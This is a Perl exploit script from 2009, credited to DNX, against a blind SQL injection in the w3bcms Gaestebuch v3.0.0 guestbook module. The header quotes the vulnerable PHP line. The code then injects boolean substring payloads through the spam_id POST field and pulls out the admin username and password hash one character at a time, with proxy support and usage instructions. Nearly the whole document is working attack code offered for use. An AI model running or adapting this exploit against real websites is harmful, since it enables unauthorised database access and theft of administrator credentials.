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#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request::Common qw(POST);
use Getopt::Long;
# \#'#/
# (-.-)
# ------------------oOO---(_)---OOo-----------------
# | __ __ |
# | _____/ /_____ ______/ /_ __ ______ ______ |
# | / ___/ __/ __ `/ ___/ __ \/ / / / __ `/ ___/ |
# | (__ ) /_/ /_/ / / / /_/ / /_/ / /_/ (__ ) |
# | /____/\__/\__,_/_/ /_.___/\__,_/\__, /____/ |
# | Security Research Division /____/ 2oo9 |
# --------------------------------------------------
# | w3bcms Gaestebuch v3.0.0 Blind SQL Injection |
# | (requires magic_quotes_gpc = Off) |
# --------------------------------------------------
# [!] Discovered.: DNX
# [!] Vendor.....: http://www.w3bcms.de
# [!] Detected...: 26.03.2009
# [!] Reported...: 29.03.2009
# [!] Response...: xx.xx.2009
#
# [!] Background.: CMS features in the frontend:
# » Ausgabe angelegter Seiten
# » Integrierter sicherer Spamschutz (kein Captcha!)
# » CMS Features wie Slogan Rotation, Datumausgabe, Seitenanzeige
# » Integrierter Besuchercounter (versteckt/sichtbar)
# <b>» Sicherheit gegen Hackangriffe</b>
# » Schnelle Datenbankabfragen
# » 100% Suchmaschinenoptimiert (SEO)
# » Erweiterbar durch Module & Addons
# » Unterstützt Mod Rewrite URL's (optional)
#
# [!] Bug........: $_POST['spam_id'] in includes/module/book/index.inc.php near line 42
#
# 37: } else if (isset($_GET['action']) && $_GET['action'] == "eintragen" && $modul_settings['aktiv'] == "0") {
# 38:
# 39: $_POST['spamschutz'] = mysql_real_escape_string($_POST['spamschutz']);
# 40: $_POST['spamschutz'] = strtolower($_POST['spamschutz']);
# 41:
# 42: $data = mysql_fetch_assoc(mysql_query("SELECT * FROM spamschutz WHERE id='".$_POST['spam_id']."' AND antwort='".$_POST['spamschutz']."'"));
#
# [!] Solution...: no response from vendor but the vendor has updated the module package
#
if(!$ARGV[2])
{
print "\n \\#'#/ ";
print "\n (-.-) ";
print "\n ----------------oOO---(_)---OOo-----------------";
print "\n | w3bcms Gaestebuch v3.0.0 Blind SQL Injection |";
print "\n | coded by DNX |";
print "\n ------------------------------------------------";
print "\n[!] Usage: perl w3bcms.pl [Target] <Options>";
print "\n[!] Example: perl w3bcms.pl -2 -u \"http://127.0.0.1/w3b/index.php?seite=2.gaestebuch\"";
print "\n[!] Targets:";
print "\n -1 Get admin username";
print "\n -2 Get admin password hash";
print "\n[!] Options:";
print "\n -u [url] URL to vuln website";
print "\n -p [ip:port] Proxy support";
print "\n";
exit;
}
my %options = ();
GetOptions(\%options, "1", "2", "u=s", "p=s");
my $ua = LWP::UserAgent->new();
my $target = $options{"u"}."&action=eintragen";
if($options{"p"})
{
$ua->proxy('http', "http://".$options{"p"});
}
print "[!] Exploiting...\n";
check_bug($target);
if($options{"1"}) { get_username($target); }
elsif($options{"2"}) { get_password($target); }
print "\n[!] Exploit done\n";
sub check_bug
{
my $url = shift;
syswrite(STDOUT, "[!] Checking bug @ website: " , 28);
my $inj = "' or 1=1/*";
my $req = POST $url, [spam_id => $inj];
my $res = $ua->request($req);
if($res->content =~ /Bitte geben Sie Ihren Namen an/)
{
syswrite(STDOUT, "vuln", 4);
print "\n";
}
else
{
syswrite(STDOUT, "not vuln", 8);
exit;
}
}
sub get_username
{
my $target = shift;
syswrite(STDOUT, "[!] Get username: ", 18);
for(my $i = 1; $i <= 32; $i++)
{
my $found = 0;
my $h = 32;
while(!$found && $h <= 126)
{
if(exploit($target, $i, $h, "benutzername"))
{
$found = 1;
syswrite(STDOUT, chr($h), 1);
}
$h++;
}
}
}
sub get_password
{
my $target = shift;
syswrite(STDOUT, "[!] Get Hash: ", 14);
for(my $i = 1; $i <= 32; $i++)
{
my $found = 0;
my $h = 48;
while(!$found && ($h <= 57 || $h <= 102))
{
if(exploit($target, $i, $h, "passwort"))
{
$found = 1;
syswrite(STDOUT, chr($h), 1);
}
if($h == 57)
{
$h = 97;
}
else
{
$h++;
}
}
}
}
sub exploit
{
my $url = shift;
my $i = shift;
my $h = shift;
my $c = shift;
my $inj = "' or 1=1 and substring((select ".$c." FROM admin limit 1),".$i.",1)=CHAR(".$h.")/*";
my $req = POST $url, [spam_id => $inj];
my $res = $ua->request($req);
if($res->content =~ /Bitte geben Sie Ihren Namen an/)
{
return 1;
}
else
{
return 0;
}
}
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